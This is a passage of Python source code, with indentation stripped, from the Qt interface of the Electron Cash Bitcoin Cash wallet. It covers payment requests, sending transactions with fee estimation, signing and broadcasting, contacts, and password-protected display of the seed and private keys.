grid.addWidget(self.receive_message_e, 1, 1, 1, -1)
self.receive_message_e.textChanged.connect(self.update_receive_qr)
self.receive_amount_e = BTCAmountEdit(self.get_decimal_point)
grid.addWidget(QLabel(_('Requested amount')), 2, 0)
grid.addWidget(self.receive_amount_e, 2, 1)
self.receive_amount_e.textChanged.connect(self.update_receive_qr)
self.fiat_receive_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_receive_e.setVisible(False)
grid.addWidget(self.fiat_receive_e, 2, 2, Qt.AlignLeft)
self.connect_fields(self, self.receive_amount_e, self.fiat_receive_e, None)
self.expires_combo = QComboBox()
self.expires_combo.addItems(map(lambda x:x[0], expiration_values))
self.expires_combo.setCurrentIndex(3)
self.expires_combo.setFixedWidth(self.receive_amount_e.width())
msg = ' '.join([
_('Expiration date of your request.'),
_('This information is seen by the recipient if you send them a signed payment request.'),
_('Expired requests have to be deleted manually from your list, in order to free the corresponding Bitcoin Cash addresses.'),
_('The bitcoin address never expires and will always be part of this electrum wallet.'),
])
grid.addWidget(HelpLabel(_('Request expires'), msg), 3, 0)
grid.addWidget(self.expires_combo, 3, 1)
self.expires_label = QLineEdit('')
self.expires_label.setReadOnly(1)
self.expires_label.setFocusPolicy(Qt.NoFocus)
self.expires_label.hide()
grid.addWidget(self.expires_label, 3, 1)
self.save_request_button = QPushButton(_('Save'))
self.save_request_button.clicked.connect(self.save_payment_request)
self.new_request_button = QPushButton(_('New'))
self.new_request_button.clicked.connect(self.new_payment_request)
self.receive_qr = QRCodeWidget(fixedSize=200)
self.receive_qr.mouseReleaseEvent = lambda x: self.toggle_qr_window()
self.receive_qr.enterEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.PointingHandCursor))
self.receive_qr.leaveEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.ArrowCursor))
self.receive_buttons = buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.save_request_button)
buttons.addWidget(self.new_request_button)
grid.addLayout(buttons, 4, 1, 1, 2)
self.receive_requests_label = QLabel(_('Requests'))
from request_list import RequestList
self.request_list = RequestList(self)
# layout
vbox_g = QVBoxLayout()
vbox_g.addLayout(grid)
vbox_g.addStretch()
hbox = QHBoxLayout()
hbox.addLayout(vbox_g)
hbox.addWidget(self.receive_qr)
w = QWidget()
w.searchable_list = self.request_list
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.receive_requests_label)
vbox.addWidget(self.request_list)
vbox.setStretchFactor(self.request_list, 1000)
return w
def delete_payment_request(self, addr):
self.wallet.remove_payment_request(addr, self.config)
self.request_list.update()
self.clear_receive_tab()
def get_request_URI(self, addr):
req = self.wallet.receive_requests[addr]
message = self.wallet.labels.get(addr, '')
amount = req['amount']
URI = util.create_URI(addr, amount, message)
if req.get('time'):
URI += "&time=%d"%req.get('time')
if req.get('exp'):
URI += "&exp=%d"%req.get('exp')
if req.get('name') and req.get('sig'):
sig = req.get('sig').decode('hex')
sig = bitcoin.base_encode(sig, base=58)
URI += "&name=" + req['name'] + "&sig="+sig
return str(URI)
def sign_payment_request(self, addr):
alias = self.config.get('alias')
alias_privkey = None
if alias and self.alias_info:
alias_addr, alias_name, validated = self.alias_info
if alias_addr:
if self.wallet.is_mine(alias_addr):
msg = _('This payment request will be signed.') + '\n' + _('Please enter your password')
password = self.password_dialog(msg)
if password:
try:
self.wallet.sign_payment_request(addr, alias, alias_addr, password)
except Exception as e:
self.show_error(str(e))
return
else:
return
else:
return
def save_payment_request(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
if not message and not amount:
self.show_error(_('No message or amount'))
return False
i = self.expires_combo.currentIndex()
expiration = map(lambda x: x[1], expiration_values)[i]
req = self.wallet.make_payment_request(addr, amount, message, expiration)
self.wallet.add_payment_request(req, self.config)
self.sign_payment_request(addr)
self.request_list.update()
self.address_list.update()
self.save_request_button.setEnabled(False)
def view_and_paste(self, title, msg, data):
dialog = WindowModalDialog(self, title)
vbox = QVBoxLayout()
label = QLabel(msg)
label.setWordWrap(True)
vbox.addWidget(label)
pr_e = ShowQRTextEdit(text=data)
vbox.addWidget(pr_e)
vbox.addLayout(Buttons(CopyCloseButton(pr_e.text, self.app, dialog)))
dialog.setLayout(vbox)
dialog.exec_()
def export_payment_request(self, addr):
r = self.wallet.receive_requests.get(addr)
pr = paymentrequest.serialize_request(r).SerializeToString()
name = r['id'] + '.bip70'
fileName = self.getSaveFileName(_("Select where to save your payment request"), name, "*.bip70")
if fileName:
with open(fileName, "wb+") as f:
f.write(str(pr))
self.show_message(_("Request saved successfully"))
self.saved = True
def new_payment_request(self):
addr = self.wallet.get_unused_address()
if addr is None:
from electroncash.wallet import Imported_Wallet
if not self.wallet.is_deterministic():
msg = [
_('No more addresses in your wallet.'),
_('You are using a non-deterministic wallet, which cannot create new addresses.'),
_('If you want to create new addresses, use a deterministic wallet instead.')
]
self.show_message(' '.join(msg))
return
if not self.question(_("Warning: The next address will not be recovered automatically if you restore your wallet from seed; you may need to add it manually.\n\nThis occurs because you have too many unused addresses in your wallet. To avoid this situation, use the existing addresses first.\n\nCreate anyway?")):
return
addr = self.wallet.create_new_address(False)
self.set_receive_address(addr)
self.expires_label.hide()
self.expires_combo.show()
self.new_request_button.setEnabled(False)
self.receive_message_e.setFocus(1)
def set_receive_address(self, addr):
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
def clear_receive_tab(self):
addr = self.wallet.get_receiving_address()
if addr:
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
self.expires_label.hide()
self.expires_combo.show()
def toggle_qr_window(self):
import qrwindow
if not self.qr_window:
self.qr_window = qrwindow.QR_Window(self)
self.qr_window.setVisible(True)
self.qr_window_geometry = self.qr_window.geometry()
else:
if not self.qr_window.isVisible():
self.qr_window.setVisible(True)
self.qr_window.setGeometry(self.qr_window_geometry)
else:
self.qr_window_geometry = self.qr_window.geometry()
self.qr_window.setVisible(False)
self.update_receive_qr()
def show_send_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.send_tab))
def show_receive_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.receive_tab))
def receive_at(self, addr):
if not bitcoin.is_address(addr):
return
self.show_receive_tab()
self.receive_address_e.setText(addr)
self.new_request_button.setEnabled(True)
def update_receive_qr(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
self.save_request_button.setEnabled((amount is not None) or (message != ""))
uri = util.create_URI(addr, amount, message)
self.receive_qr.setData(uri)
if self.qr_window and self.qr_window.isVisible():
self.qr_window.set_content(addr, amount, message, uri)
def create_send_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.send_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
from paytoedit import PayToEdit
self.amount_e = BTCAmountEdit(self.get_decimal_point)
self.payto_e = PayToEdit(self)
msg = _('Recipient of the funds.') + '\n\n'\
+ _('You may enter a Bitcoin Cash address, a label from your list of contacts (a list of completions will be proposed), or an alias (email-like address that forwards to a Bitcoin Cash address)')
payto_label = HelpLabel(_('Pay to'), msg)
grid.addWidget(payto_label, 1, 0)
grid.addWidget(self.payto_e, 1, 1, 1, -1)
completer = QCompleter()
completer.setCaseSensitivity(False)
self.payto_e.setCompleter(completer)
completer.setModel(self.completions)
msg = _('Description of the transaction (not mandatory).') + '\n\n'\
+ _('The description is not sent to the recipient of the funds. It is stored in your wallet file, and displayed in the \'History\' tab.')
description_label = HelpLabel(_('Description'), msg)
grid.addWidget(description_label, 2, 0)
self.message_e = MyLineEdit()
grid.addWidget(self.message_e, 2, 1, 1, -1)
self.from_label = QLabel(_('From'))
grid.addWidget(self.from_label, 3, 0)
self.from_list = MyTreeWidget(self, self.from_list_menu, ['',''])
self.from_list.setHeaderHidden(True)
self.from_list.setMaximumHeight(80)
grid.addWidget(self.from_list, 3, 1, 1, -1)
self.set_pay_from([])
msg = _('Amount to be sent.') + '\n\n' \
+ _('The amount will be displayed in red if you do not have enough funds in your wallet.') + ' ' \
+ _('Note that if you have frozen some of your addresses, the available funds will be lower than your total balance.') + '\n\n' \
+ _('Keyboard shortcut: type "!" to send all your coins.')
amount_label = HelpLabel(_('Amount'), msg)
grid.addWidget(amount_label, 4, 0)
grid.addWidget(self.amount_e, 4, 1)
self.fiat_send_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_send_e.setVisible(False)
grid.addWidget(self.fiat_send_e, 4, 2)
self.amount_e.frozen.connect(
lambda: self.fiat_send_e.setFrozen(self.amount_e.isReadOnly()))
self.max_button = EnterButton(_("Max"), self.spend_max)
self.max_button.setFixedWidth(140)
grid.addWidget(self.max_button, 4, 3)
hbox = QHBoxLayout()
hbox.addStretch(1)
grid.addLayout(hbox, 4, 4)
msg = _('Bitcoin transactions are in general not free. A transaction fee is paid by the sender of the funds.') + '\n\n'\
+ _('The amount of fee can be decided freely by the sender. However, transactions with low fees take more time to be processed.') + '\n\n'\
+ _('A suggested fee is automatically added to this field. You may override it. The suggested fee increases with the size of the transaction.')
self.fee_e_label = HelpLabel(_('Fee'), msg)
def fee_cb(dyn, pos, fee_rate):
if dyn:
self.config.set_key('fee_level', pos, False)
else:
self.config.set_key('fee_per_kb', fee_rate, False)
self.spend_max() if self.is_max else self.update_fee()
self.fee_slider = FeeSlider(self, self.config, fee_cb)
self.fee_slider.setFixedWidth(140)
self.fee_e = BTCAmountEdit(self.get_decimal_point)
if not self.config.get('show_fee', False):
self.fee_e.setVisible(False)
self.fee_e.textEdited.connect(self.update_fee)
# This is so that when the user blanks the fee and moves on,
# we go back to auto-calculate mode and put a fee back.
self.fee_e.editingFinished.connect(self.update_fee)
self.connect_fields(self, self.amount_e, self.fiat_send_e, self.fee_e)
grid.addWidget(self.fee_e_label, 5, 0)
grid.addWidget(self.fee_slider, 5, 1)
grid.addWidget(self.fee_e, 5, 2)
self.preview_button = EnterButton(_("Preview"), self.do_preview)
self.preview_button.setToolTip(_('Display the details of your transactions before signing it.'))
self.send_button = EnterButton(_("Send"), self.do_send)
self.clear_button = EnterButton(_("Clear"), self.do_clear)
buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.clear_button)
buttons.addWidget(self.preview_button)
buttons.addWidget(self.send_button)
grid.addLayout(buttons, 6, 1, 1, 3)
self.amount_e.shortcut.connect(self.spend_max)
self.payto_e.textChanged.connect(self.update_fee)
self.amount_e.textEdited.connect(self.update_fee)
def reset_max(t):
self.is_max = False
self.max_button.setEnabled(not bool(t))
self.amount_e.textEdited.connect(reset_max)
self.fiat_send_e.textEdited.connect(reset_max)
def entry_changed():
text = ""
if self.not_enough_funds:
amt_color, fee_color = RED_FG, RED_FG
text = _( "Not enough funds" )
c, u, x = self.wallet.get_frozen_balance()
if c+u+x:
text += ' (' + self.format_amount(c+u+x).strip() + ' ' + self.base_unit() + ' ' +_("are frozen") + ')'
elif self.fee_e.isModified():
amt_color, fee_color = BLACK_FG, BLACK_FG
elif self.amount_e.isModified():
amt_color, fee_color = BLACK_FG, BLUE_FG
else:
amt_color, fee_color = BLUE_FG, BLUE_FG
self.statusBar().showMessage(text)
self.amount_e.setStyleSheet(amt_color)
self.fee_e.setStyleSheet(fee_color)
self.amount_e.textChanged.connect(entry_changed)
self.fee_e.textChanged.connect(entry_changed)
self.invoices_label = QLabel(_('Invoices'))
from invoice_list import InvoiceList
self.invoice_list = InvoiceList(self)
vbox0 = QVBoxLayout()
vbox0.addLayout(grid)
hbox = QHBoxLayout()
hbox.addLayout(vbox0)
w = QWidget()
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.invoices_label)
vbox.addWidget(self.invoice_list)
vbox.setStretchFactor(self.invoice_list, 1000)
w.searchable_list = self.invoice_list
run_hook('create_send_tab', grid)
return w
def spend_max(self):
self.is_max = True
self.do_update_fee()
def update_fee(self):
self.require_fee_update = True
def get_payto_or_dummy(self):
r = self.payto_e.get_recipient()
if r:
return r
return (TYPE_ADDRESS, self.wallet.dummy_address())
def do_update_fee(self):
'''Recalculate the fee. If the fee was manually input, retain it, but
still build the TX to see if there are enough funds.
'''
freeze_fee = (self.fee_e.isModified()
and (self.fee_e.text() or self.fee_e.hasFocus()))
amount = '!' if self.is_max else self.amount_e.get_amount()
if amount is None:
if not freeze_fee:
self.fee_e.setAmount(None)
self.not_enough_funds = False
self.statusBar().showMessage('')
else:
fee = self.fee_e.get_amount() if freeze_fee else None
outputs = self.payto_e.get_outputs(self.is_max)
if not outputs:
_type, addr = self.get_payto_or_dummy()
outputs = [(_type, addr, amount)]
try:
tx = self.wallet.make_unsigned_transaction(self.get_coins(), outputs, self.config, fee)
self.not_enough_funds = False
except NotEnoughFunds:
self.not_enough_funds = True
if not freeze_fee:
self.fee_e.setAmount(None)
return
except BaseException:
return
if not freeze_fee:
fee = None if self.not_enough_funds else tx.get_fee()
self.fee_e.setAmount(fee)
if self.is_max:
amount = tx.output_value()
self.amount_e.setAmount(amount)
def from_list_delete(self, item):
i = self.from_list.indexOfTopLevelItem(item)
self.pay_from.pop(i)
self.redraw_from_list()
self.update_fee()
def from_list_menu(self, position):
item = self.from_list.itemAt(position)
menu = QMenu()
menu.addAction(_("Remove"), lambda: self.from_list_delete(item))
menu.exec_(self.from_list.viewport().mapToGlobal(position))
def set_pay_from(self, coins):
self.pay_from = coins
self.redraw_from_list()
def redraw_from_list(self):
self.from_list.clear()
self.from_label.setHidden(len(self.pay_from) == 0)
self.from_list.setHidden(len(self.pay_from) == 0)
def format(x):
h = x.get('prevout_hash')
return h[0:10] + '...' + h[-10:] + ":%d"%x.get('prevout_n') + u'\t' + "%s"%x.get('address')
for item in self.pay_from:
self.from_list.addTopLevelItem(QTreeWidgetItem( [format(item), self.format_amount(item['value']) ]))
def get_contact_payto(self, key):
_type, label = self.contacts.get(key)
return label + ' <' + key + '>' if _type == 'address' else key
def update_completions(self):
l = [self.get_contact_payto(key) for key in self.contacts.keys()]
self.completions.setStringList(l)
def protected(func):
'''Password request wrapper. The password is passed to the function
as the 'password' named argument. "None" indicates either an
unencrypted wallet, or the user cancelled the password request.
An empty input is passed as the empty string.'''
def request_password(self, *args, **kwargs):
parent = self.top_level_window()
password = None
while self.wallet.has_password():
password = self.password_dialog(parent=parent)
if password is None:
# User cancelled password input
return
try:
self.wallet.check_password(password)
break
except Exception as e:
self.show_error(str(e), parent=parent)
continue
kwargs['password'] = password
return func(self, *args, **kwargs)
return request_password
def read_send_tab(self):
if self.payment_request and self.payment_request.has_expired():
self.show_error(_('Payment request has expired'))
return
label = self.message_e.text()
if self.payment_request:
outputs = self.payment_request.get_outputs()
else:
errors = self.payto_e.get_errors()
if errors:
self.show_warning(_("Invalid Lines found:") + "\n\n" + '\n'.join([ _("Line #") + str(x[0]+1) + ": " + x[1] for x in errors]))
return
outputs = self.payto_e.get_outputs(self.is_max)
if self.payto_e.is_alias and self.payto_e.validated is False:
alias = self.payto_e.toPlainText()
msg = _('WARNING: the alias "%s" could not be validated via an additional security check, DNSSEC, and thus may not be correct.'%alias) + '\n'
msg += _('Do you wish to continue?')
if not self.question(msg):
return
if not outputs:
self.show_error(_('No outputs'))
return
for _type, addr, amount in outputs:
if addr is None:
self.show_error(_('Bitcoin Cash Address is None'))
return
if _type == TYPE_ADDRESS and not bitcoin.is_address(addr):
self.show_error(_('Invalid Bitcoin Cash Address'))
return
if amount is None:
self.show_error(_('Invalid Amount'))
return
freeze_fee = self.fee_e.isVisible() and self.fee_e.isModified() and (self.fee_e.text() or self.fee_e.hasFocus())
fee = self.fee_e.get_amount() if freeze_fee else None
coins = self.get_coins()
return outputs, fee, label, coins
def do_preview(self):
self.do_send(preview = True)
def do_send(self, preview = False):
if run_hook('abort_send', self):
return
r = self.read_send_tab()
if not r:
return
outputs, fee, tx_desc, coins = r
try:
tx = self.wallet.make_unsigned_transaction(coins, outputs, self.config, fee)
except NotEnoughFunds:
self.show_message(_("Insufficient funds"))
return
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
amount = tx.output_value() if self.is_max else sum(map(lambda x:x[2], outputs))
fee = tx.get_fee()
if fee < self.wallet.relayfee() * tx.estimated_size() / 1000 and tx.requires_fee(self.wallet):
self.show_error(_("This transaction requires a higher fee, or it will not be propagated by the network"))
return
if preview:
self.show_transaction(tx, tx_desc)
return
# confirmation dialog
msg = [
_("Amount to be sent") + ": " + self.format_amount_and_units(amount),
_("Mining fee") + ": " + self.format_amount_and_units(fee),
]
x_fee = run_hook('get_tx_extra_fee', self.wallet, tx)
if x_fee:
x_fee_address, x_fee_amount = x_fee
msg.append( _("Additional fees") + ": " + self.format_amount_and_units(x_fee_amount) )
confirm_rate = 2 * self.config.max_fee_rate()
if fee > confirm_rate * tx.estimated_size() / 1000:
msg.append(_('Warning') + ': ' + _("The fee for this transaction seems unusually high."))
if self.wallet.has_password():
msg.append("")
msg.append(_("Enter your password to proceed"))
password = self.password_dialog('\n'.join(msg))
if not password:
return
else:
msg.append(_('Proceed?'))
password = None
if not self.question('\n'.join(msg)):
return
def sign_done(success):
if success:
if not tx.is_complete():
self.show_transaction(tx)
self.do_clear()
else:
self.broadcast_transaction(tx, tx_desc)
self.sign_tx_with_password(tx, sign_done, password)
@protected
def sign_tx(self, tx, callback, password):
self.sign_tx_with_password(tx, callback, password)
def sign_tx_with_password(self, tx, callback, password):
'''Sign the transaction in a separate thread. When done, calls
the callback with a success code of True or False.
'''
# call hook to see if plugin needs gui interaction
run_hook('sign_tx', self, tx)
def on_signed(result):
callback(True)
def on_failed(exc_info):
self.on_error(exc_info)
callback(False)
task = partial(self.wallet.sign_transaction, tx, password)
WaitingDialog(self, _('Signing transaction...'), task,
on_signed, on_failed)
def broadcast_transaction(self, tx, tx_desc):
def broadcast_thread():
# non-GUI thread
pr = self.payment_request
if pr and pr.has_expired():
self.payment_request = None
return False, _("Payment request has expired")
status, msg = self.network.broadcast(tx)
if pr and status is True:
self.invoices.set_paid(pr, tx.txid())
self.invoices.save()
self.payment_request = None
refund_address = self.wallet.get_receiving_addresses()[0]
ack_status, ack_msg = pr.send_ack(str(tx), refund_address)
if ack_status:
msg = ack_msg
return status, msg
# Capture current TL window; override might be removed on return
parent = self.top_level_window()
def broadcast_done(result):
# GUI thread
if result:
status, msg = result
if status:
if tx_desc is not None and tx.is_complete():
self.wallet.set_label(tx.txid(), tx_desc)
parent.show_message(_('Payment sent.') + '\n' + msg)
self.invoice_list.update()
self.do_clear()
else:
parent.show_error(msg)
WaitingDialog(self, _('Broadcasting transaction...'),
broadcast_thread, broadcast_done, self.on_error)
def query_choice(self, msg, choices):
# Needed by QtHandler for hardware wallets
dialog = WindowModalDialog(self.top_level_window())
clayout = ChoicesLayout(msg, choices)
vbox = QVBoxLayout(dialog)
vbox.addLayout(clayout.layout())
vbox.addLayout(Buttons(OkButton(dialog)))
if not dialog.exec_():
return None
return clayout.selected_index()
def lock_amount(self, b):
self.amount_e.setFrozen(b)
self.max_button.setEnabled(not b)
def prepare_for_payment_request(self):
self.show_send_tab()
self.payto_e.is_pr = True
for e in [self.payto_e, self.amount_e, self.message_e]:
e.setFrozen(True)
self.payto_e.setText(_("please wait..."))
return True
def delete_invoice(self, key):
self.invoices.remove(key)
self.invoice_list.update()
def payment_request_ok(self):
pr = self.payment_request
key = self.invoices.add(pr)
status = self.invoices.get_status(key)
self.invoice_list.update()
if status == PR_PAID:
self.show_message("invoice already paid")
self.do_clear()
self.payment_request = None
return
self.payto_e.is_pr = True
if not pr.has_expired():
self.payto_e.setGreen()
else:
self.payto_e.setExpired()
self.payto_e.setText(pr.get_requestor())
self.amount_e.setText(format_satoshis_plain(pr.get_amount(), self.decimal_point))
self.message_e.setText(pr.get_memo())
# signal to set fee
self.amount_e.textEdited.emit("")
def payment_request_error(self):
self.show_message(self.payment_request.error)
self.payment_request = None
self.do_clear()
def on_pr(self, request):
self.payment_request = request
if self.payment_request.verify(self.contacts):
self.payment_request_ok_signal.emit()
else:
self.payment_request_error_signal.emit()
def pay_to_URI(self, URI):
if not URI:
return
try:
out = util.parse_URI(URI, self.on_pr)
except BaseException as e:
self.show_error(_('Invalid bitcoincash URI:') + '\n' + str(e))
return
self.show_send_tab()
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if r or (name and sig):
self.prepare_for_payment_request()
return
address = out.get('address')
amount = out.get('amount')
label = out.get('label')
message = out.get('message')
# use label as description (not BIP21 compliant)
if label and not message:
message = label
if address:
self.payto_e.setText(address)
if message:
self.message_e.setText(message)
if amount:
self.amount_e.setAmount(amount)
self.amount_e.textEdited.emit("")
def do_clear(self):
self.is_max = False
self.not_enough_funds = False
self.payment_request = None
self.payto_e.is_pr = False
for e in [self.payto_e, self.message_e, self.amount_e, self.fiat_send_e, self.fee_e]:
e.setText('')
e.setFrozen(False)
self.set_pay_from([])
self.update_status()
run_hook('do_clear', self)
def set_frozen_state(self, addrs, freeze):
self.wallet.set_frozen_state(addrs, freeze)
self.address_list.update()
self.utxo_list.update()
self.update_fee()
def create_list_tab(self, l):
w = QWidget()
w.searchable_list = l
vbox = QVBoxLayout()
w.setLayout(vbox)
vbox.setContentsMargins(0, 0, 0, 0)
vbox.setSpacing(0)
vbox.addWidget(l)
buttons = QWidget()
vbox.addWidget(buttons)
return w
def create_addresses_tab(self):
from address_list import AddressList
self.address_list = l = AddressList(self)
return self.create_list_tab(l)
def create_utxo_tab(self):
from utxo_list import UTXOList
self.utxo_list = l = UTXOList(self)
return self.create_list_tab(l)
def create_contacts_tab(self):
from contact_list import ContactList
self.contact_list = l = ContactList(self)
return self.create_list_tab(l)
def remove_address(self, addr):
if self.question(_("Do you want to remove")+" %s "%addr +_("from your wallet?")):
self.wallet.delete_address(addr)
self.address_list.update()
self.history_list.update()
def get_coins(self):
if self.pay_from:
return self.pay_from
else:
return self.wallet.get_spendable_coins(None, self.config)
def spend_coins(self, coins):
self.set_pay_from(coins)
self.show_send_tab()
self.update_fee()
def paytomany(self):
self.show_send_tab()
self.payto_e.paytomany()
msg = '\n'.join([
_('Enter a list of outputs in the \'Pay to\' field.'),
_('One output per line.'),
_('Format: address, amount'),
_('You may load a CSV file using the file icon.')
])
self.show_message(msg, title=_('Pay to many'))
def payto_contacts(self, labels):
paytos = [self.get_contact_payto(label) for label in labels]
self.show_send_tab()
if len(paytos) == 1:
self.payto_e.setText(paytos[0])
self.amount_e.setFocus()
else:
text = "\n".join([payto + ", 0" for payto in paytos])
self.payto_e.setText(text)
self.payto_e.setFocus()
def set_contact(self, label, address):
if not is_valid(address):
self.show_error(_('Invalid Address'))
self.contact_list.update() # Displays original unchanged value
return False
self.contacts[address] = ('address', label)
self.contact_list.update()
self.history_list.update()
self.update_completions()
return True
def delete_contacts(self, labels):
if not self.question(_("Remove %s from your list of contacts?")
% " + ".join(labels)):
return
for label in labels:
self.contacts.pop(label)
self.history_list.update()
self.contact_list.update()
self.update_completions()
def show_invoice(self, key):
pr = self.invoices.get(key)
pr.verify(self.contacts)
self.show_pr_details(pr)
def show_pr_details(self, pr):
key = pr.get_id()
d = WindowModalDialog(self, _("Invoice"))
vbox = QVBoxLayout(d)
grid = QGridLayout()
grid.addWidget(QLabel(_("Requestor") + ':'), 0, 0)
grid.addWidget(QLabel(pr.get_requestor()), 0, 1)
grid.addWidget(QLabel(_("Amount") + ':'), 1, 0)
outputs_str = '\n'.join(map(lambda x: self.format_amount(x[2])+ self.base_unit() + ' @ ' + x[1], pr.get_outputs()))
grid.addWidget(QLabel(outputs_str), 1, 1)
expires = pr.get_expiration_date()
grid.addWidget(QLabel(_("Memo") + ':'), 2, 0)
grid.addWidget(QLabel(pr.get_memo()), 2, 1)
grid.addWidget(QLabel(_("Signature") + ':'), 3, 0)
grid.addWidget(QLabel(pr.get_verify_status()), 3, 1)
if expires:
grid.addWidget(QLabel(_("Expires") + ':'), 4, 0)
grid.addWidget(QLabel(format_time(expires)), 4, 1)
vbox.addLayout(grid)
def do_export():
fn = self.getOpenFileName(_("Save invoice to file"), "*.bip70")
if not fn:
return
with open(fn, 'w') as f:
data = f.write(pr.raw)
self.show_message(_('Invoice saved as' + ' ' + fn))
exportButton = EnterButton(_('Save'), do_export)
def do_delete():
if self.question(_('Delete invoice?')):
self.invoices.remove(key)
self.history_list.update()
d.close()
deleteButton = EnterButton(_('Delete'), do_delete)
vbox.addLayout(Buttons(exportButton, deleteButton, CloseButton(d)))
d.exec_()
def do_pay_invoice(self, key):
pr = self.invoices.get(key)
self.payment_request = pr
self.prepare_for_payment_request()
if pr.verify(self.contacts):
self.payment_request_ok()
else:
self.payment_request_error()
def create_console_tab(self):
from console import Console
self.console = console = Console()
return console
def update_console(self):
console = self.console
console.history = self.config.get("console-history",[])
console.history_index = len(console.history)
console.updateNamespace({'wallet' : self.wallet,
'network' : self.network,
'plugins' : self.gui_object.plugins,
'window': self})
console.updateNamespace({'util' : util, 'bitcoin':bitcoin})
c = commands.Commands(self.config, self.wallet, self.network, lambda: self.console.set_json(True))
methods = {}
def mkfunc(f, method):
return lambda *args: f(method, args, self.password_dialog)
for m in dir(c):
if m[0]=='_' or m in ['network','wallet']: continue
methods[m] = mkfunc(c._run, m)
console.updateNamespace(methods)
def create_status_bar(self):
sb = QStatusBar()
sb.setFixedHeight(35)
qtVersion = qVersion()
self.balance_label = QLabel("")
sb.addWidget(self.balance_label)
self.search_box = QLineEdit()
self.search_box.textChanged.connect(self.do_search)
self.search_box.hide()
sb.addPermanentWidget(self.search_box)
self.lock_icon = QIcon()
self.password_button = StatusBarButton(self.lock_icon, _("Password"), self.change_password_dialog )
sb.addPermanentWidget(self.password_button)
sb.addPermanentWidget(StatusBarButton(QIcon(":icons/preferences.png"), _("Preferences"), self.settings_dialog ) )
self.seed_button = StatusBarButton(QIcon(":icons/seed.png"), _("Seed"), self.show_seed_dialog )
sb.addPermanentWidget(self.seed_button)
self.status_button = StatusBarButton(QIcon(":icons/status_disconnected.png"), _("Network"), lambda: self.gui_object.show_network_dialog(self))
sb.addPermanentWidget(self.status_button)
run_hook('create_status_bar', sb)
self.setStatusBar(sb)
def update_lock_icon(self):
icon = QIcon(":icons/lock.png") if self.wallet.has_password() else QIcon(":icons/unlock.png")
self.password_button.setIcon(icon)
def update_buttons_on_seed(self):
self.seed_button.setVisible(self.wallet.has_seed())
self.password_button.setVisible(self.wallet.can_change_password())
self.send_button.setVisible(not self.wallet.is_watching_only())
def change_password_dialog(self):
from password_dialog import ChangePasswordDialog
d = ChangePasswordDialog(self, self.wallet)
ok, password, new_password, encrypt_file = d.run()
if not ok:
return
try:
self.wallet.update_password(password, new_password, encrypt_file)
except BaseException as e:
self.show_error(str(e))
return
except:
traceback.print_exc(file=sys.stdout)
self.show_error(_('Failed to update password'))
return
msg = _('Password was updated successfully') if new_password else _('Password is disabled, this wallet is not protected')
self.show_message(msg, title=_("Success"))
self.update_lock_icon()
def toggle_search(self):
self.search_box.setHidden(not self.search_box.isHidden())
if not self.search_box.isHidden():
self.search_box.setFocus(1)
else:
self.do_search('')
def do_search(self, t):
tab = self.tabs.currentWidget()
if hasattr(tab, 'searchable_list'):
tab.searchable_list.filter(t)
def new_contact_dialog(self):
d = WindowModalDialog(self, _("New Contact"))
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('New Contact') + ':'))
grid = QGridLayout()
line1 = QLineEdit()
line1.setFixedWidth(280)
line2 = QLineEdit()
line2.setFixedWidth(280)
grid.addWidget(QLabel(_("Address")), 1, 0)
grid.addWidget(line1, 1, 1)
grid.addWidget(QLabel(_("Name")), 2, 0)
grid.addWidget(line2, 2, 1)
vbox.addLayout(grid)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if d.exec_():
self.set_contact(line2.text(), line1.text())
def show_master_public_keys(self):
dialog = WindowModalDialog(self, "Master Public Keys")
mpk_list = self.wallet.get_master_public_keys()
vbox = QVBoxLayout()
mpk_text = ShowQRTextEdit()
mpk_text.setMaximumHeight(100)
mpk_text.addCopyButton(self.app)
def show_mpk(index):
mpk_text.setText(mpk_list[index])
# only show the combobox in case multiple accounts are available
if len(mpk_list) > 1:
def label(key):
if isinstance(self.wallet, Multisig_Wallet):
return _("cosigner") + ' ' + str(key+1)
return ''
labels = [ label(i) for i in range(len(mpk_list))]
on_click = lambda clayout: show_mpk(clayout.selected_index())
labels_clayout = ChoicesLayout(_("Master Public Keys"), labels, on_click)
vbox.addLayout(labels_clayout.layout())
show_mpk(0)
vbox.addWidget(mpk_text)
vbox.addLayout(Buttons(CloseButton(dialog)))
dialog.setLayout(vbox)
dialog.exec_()
@protected
def show_seed_dialog(self, password):
if not self.wallet.has_seed():
self.show_message(_('This wallet has no seed'))
return
keystore = self.wallet.get_keystore()
try:
seed = keystore.get_seed(password)
passphrase = keystore.get_passphrase(password)
except BaseException as e:
self.show_error(str(e))
return
from seed_dialog import SeedDialog
d = SeedDialog(self, seed, passphrase)
d.exec_()
def show_qrcode(self, data, title = _("QR code"), parent=None):
if not data:
return
d = QRDialog(data, parent or self, title)
d.exec_()
@protected
def show_private_key(self, address, password):
if not address:
return
try:
pk_list = self.wallet.get_private_key(address, password)
except Exception as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
d = WindowModalDialog(self, _("Private key"))
d.setMinimumSize(600, 200)
vbox = QVBoxLayout()
vbox.addWidget( QLabel(_("Address") + ': ' + address))
